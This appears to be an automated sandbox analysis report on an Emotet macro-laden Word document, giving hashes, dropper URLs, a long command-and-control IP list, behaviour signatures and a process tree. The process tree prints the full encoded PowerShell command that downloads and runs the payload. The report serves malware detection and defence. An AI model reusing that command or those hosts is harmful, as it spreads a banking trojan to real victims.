emotet | 787b6d7c7eccdccf7041ef2028eebf0f8eb9691e1fc1561c6a6c13985156b1a7

Analysis

max time kernel
135s
max time network
152s
platform
windows10_x64
resource
win10v200722
submitted
13/08/2020, 16:53

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General

Target
emotet_e2_787b6d7c7eccdccf7041ef2028eebf0f8eb9691e1fc1561c6a6c13985156b1a7_2020-08-13__165100._doc.doc
Size 230KB
Sample200813-c4vwrpl43s
SHA256 787b6d7c7eccdccf7041ef2028eebf0f8eb9691e1fc1561c6a6c13985156b1a7
MD5 08dad93c24cc5da7ea2991af7a489dd4
SHA1 664efa95a1b0719bc872e351526eb550d69c8497
SHA512 57850f7bb064ad7ee503dd5e6c13884d0bb3c9a94b1666f5cf9057772bc633b07078419da1d84ce4488a6d19a570595407ec2e9dee7dff9949681f7c65450d04
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://yang-agency.com/cgi-bin/s27pi_rbt70_kp/
exe.dropper
http://blog.takipcikedi.com/wordpress/5h0y_21l_5h58lfleyt/
exe.dropper
https://doooone.com/wp-includes/k5p7_g710j_3och/
exe.dropper
http://bitaghamari.com/wp-admin/svph4_7g82w_km6sh8v76/
exe.dropper
http://dae.dte.hcmut.edu.vn/alfacgiapi/9lw_j7q5_9cm6kkdet8/

Extracted

Family

emotet

174.102.48.180:80
192.210.135.126:8080
67.205.85.243:8080
47.146.32.175:80
116.203.32.252:8080
189.212.199.126:443
72.12.127.184:443
180.92.239.110:8080
103.86.49.11:8080
181.230.116.163:80
157.147.76.151:80
74.120.55.163:80
121.124.124.40:7080
79.98.24.39:8080
142.105.151.124:443
167.86.90.214:8080
24.179.13.119:80
62.138.26.28:8080
165.165.171.160:8080
74.208.45.104:8080
2.58.16.85:7080
91.211.88.52:7080
183.101.175.193:80
95.179.229.244:8080
107.185.211.16:80
157.245.99.39:8080
83.169.36.251:8080
104.236.246.93:8080
110.145.77.103:80
190.160.53.126:80
190.55.181.54:443
87.106.136.232:8080
76.27.179.47:80
104.131.11.150:443
168.235.67.138:7080
153.126.210.205:7080
47.153.182.47:80
87.106.139.101:8080
209.182.216.177:443
51.75.33.120:8080
85.152.162.105:80
169.239.182.217:8080
46.105.131.79:8080
209.143.35.232:80
152.168.248.128:443
201.173.217.124:443
204.197.146.48:80
199.101.86.142:8080
114.146.222.200:80
113.160.130.116:8443
70.167.215.250:8080
176.111.60.55:8080
47.146.117.214:80
47.144.21.12:443
200.41.121.90:80
137.59.187.107:8080
93.51.50.171:8080
139.130.242.43:80
85.105.205.77:8080
109.74.5.95:8080
37.139.21.175:8080
62.75.141.82:80
5.39.91.110:7080
222.214.218.37:4143
185.94.252.104:443
24.137.76.62:80
203.153.216.189:7080
24.43.99.75:80
41.60.200.34:80
78.24.219.147:8080
61.19.246.238:443
104.131.44.150:8080
119.198.40.179:80
37.187.72.193:8080
139.59.60.244:8080
5.196.74.210:8080
181.211.11.242:80
209.141.54.221:8080
173.62.217.22:443
83.110.223.58:443
81.2.235.111:8080
95.213.236.64:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2652	1032	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3996-15-0x00000000006A0000-0x00000000006AC000-memory.dmp	emotet
behavioral2/memory/3996-15-0x00000000006A0000-0x00000000006AC000-memory.dmp	emotet
behavioral2/memory/2804-18-0x0000000002410000-0x000000000241C000-memory.dmp	emotet
behavioral2/memory/2804-18-0x0000000002410000-0x000000000241C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
18	2652	powersheLL.exe
20	2652	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3996	Dwfm.exe
2804	Utilman.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\olesvr32\Utilman.exe	Dwfm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3076	WINWORD.EXE
3076	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2652	powersheLL.exe
2652	powersheLL.exe
2652	powersheLL.exe
2804	Utilman.exe
2804	Utilman.exe
2804	Utilman.exe
2804	Utilman.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3076	WINWORD.EXE
3076	WINWORD.EXE
3076	WINWORD.EXE
3076	WINWORD.EXE
3076	WINWORD.EXE
3076	WINWORD.EXE
3076	WINWORD.EXE
3076	WINWORD.EXE
3076	WINWORD.EXE
3996	Dwfm.exe
3996	Dwfm.exe
2804	Utilman.exe
2804	Utilman.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 3996	2652	powersheLL.exe	76
PID 2652 wrote to memory of 3996	2652	powersheLL.exe	76
PID 2652 wrote to memory of 3996	2652	powersheLL.exe	76
PID 3996 wrote to memory of 2804	3996	Dwfm.exe	77
PID 3996 wrote to memory of 2804	3996	Dwfm.exe	77
PID 3996 wrote to memory of 2804	3996	Dwfm.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_787b6d7c7eccdccf7041ef2028eebf0f8eb9691e1fc1561c6a6c13985156b1a7_2020-08-13__165100._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3076

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABNAFQAUwBLAFQAdQBpAGQAPQAnAEoAWQBVAFgAQQB5AGYAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAHQAWQBgAFAAcgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABXAEYAQwBGAG8AdgBjACAAPQAgACcARAB3AGYAbQAnADsAJABYAEwAVgBIAEsAagBvAHQAPQAnAFoAUgBTAEcAWQBiAHMAawAnADsAJABEAEQARQBIAEQAdQB0AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABEAFcARgBDAEYAbwB2AGMAKwAnAC4AZQB4AGUAJwA7ACQAWQBaAFUASwBZAGsAZgB2AD0AJwBXAFAATABaAFcAZgByAHYAJwA7ACQAVABPAEgAVQBSAGEAdQBoAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBiAEMATABJAEUATgBUADsAJABOAFAAUABSAEkAYQBrAGgAPQAnAGgAdAB0AHAAOgAvAC8AeQBhAG4AZwAtAGEAZwBlAG4AYwB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AcwAyADcAcABpAF8AcgBiAHQANwAwAF8AawBwAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgB0AGEAawBpAHAAYwBpAGsAZQBkAGkALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzAC8ANQBoADAAeQBfADIAMQBsAF8ANQBoADUAOABsAGYAbABlAHkAdAAvACoAaAB0AHQAcABzADoALwAvAGQAbwBvAG8AbwBuAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGsANQBwADcAXwBnADcAMQAwAGoAXwAzAG8AYwBoAC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGEAZwBoAGEAbQBhAHIAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcwB2AHAAaAA0AF8ANwBnADgAMgB3AF8AawBtADYAcwBoADgAdgA3ADYALwAqAGgAdAB0AHAAOgAvAC8AZABhAGUALgBkAHQAZQAuAGgAYwBtAHUAdAAuAGUAZAB1AC4AdgBuAC8AYQBsAGYAYQBjAGcAaQBhAHAAaQAvADkAbAB3AF8AagA3AHEANQBfADkAYwBtADYAawBrAGQAZQB0ADgALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAATABKAFkATwBnAHIAeQA9ACcARQBVAEEARQBZAHQAbQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAFoARwBVAFQAawB0AHMAIABpAG4AIAAkAE4AUABQAFIASQBhAGsAaAApAHsAdAByAHkAewAkAFQATwBIAFUAUgBhAHUAaAAuACIAZABPAGAAdwBuAEwAbwBBAGQAYABGAGkAbABlACIAKAAkAFEAWgBHAFUAVABrAHQAcwAsACAAJABEAEQARQBIAEQAdQB0AHcAKQA7ACQAQQBOAE4ASwBDAG8AYwByAD0AJwBHAEEAVgBOAE8AYwB1AGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABEAEQARQBIAEQAdQB0AHcAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAzADgANgAwADcAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQARABEAEUASABEAHUAdAB3ACkAOwAkAEEASwBOAFMAWgBoAGEAYgA9ACcAUgBSAFIATgBQAHQAcQBpACcAOwBiAHIAZQBhAGsAOwAkAEUASgBVAFYAVwBjAGwAeQA9ACcAUgBGAFgASwBVAHYAawBnACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4AVQBPAEQAQgBuAHcAYQA9ACcATwBNAEYAVQBYAHUAYQB5ACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Users\Admin\AppData\Local\Temp\Dwfm.exe
  "C:\Users\Admin\AppData\Local\Temp\Dwfm.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3996
- - C:\Windows\SysWOW64\olesvr32\Utilman.exe
    "C:\Windows\SysWOW64\olesvr32\Utilman.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2652-9-0x00007FFD8C230000-0x00007FFD8CC1C000-memory.dmp

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memory/2652-11-0x0000017FA6CB0000-0x0000017FA6CB1000-memory.dmp

Download

memory/2652-10-0x0000017F8EAF0000-0x0000017F8EAF1000-memory.dmp

Download

memory/2804-18-0x0000000002410000-0x000000000241C000-memory.dmp

Download

memory/3076-8-0x000001AF16880000-0x000001AF16894000-memory.dmp

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memory/3076-0-0x00007FFD94470000-0x00007FFD94B36000-memory.dmp

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memory/3076-7-0x000001AF16880000-0x000001AF16894000-memory.dmp

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memory/3076-6-0x000001AF16880000-0x000001AF16894000-memory.dmp

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memory/3076-5-0x000001AF16880000-0x000001AF16894000-memory.dmp

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memory/3076-4-0x000001AF16880000-0x000001AF16894000-memory.dmp

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memory/3076-3-0x000001AF166FD000-0x000001AF16700000-memory.dmp

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memory/3076-2-0x000001AF16700000-0x000001AF16705000-memory.dmp

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memory/3076-1-0x000001AF166FD000-0x000001AF16700000-memory.dmp

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memory/3996-15-0x00000000006A0000-0x00000000006AC000-memory.dmp

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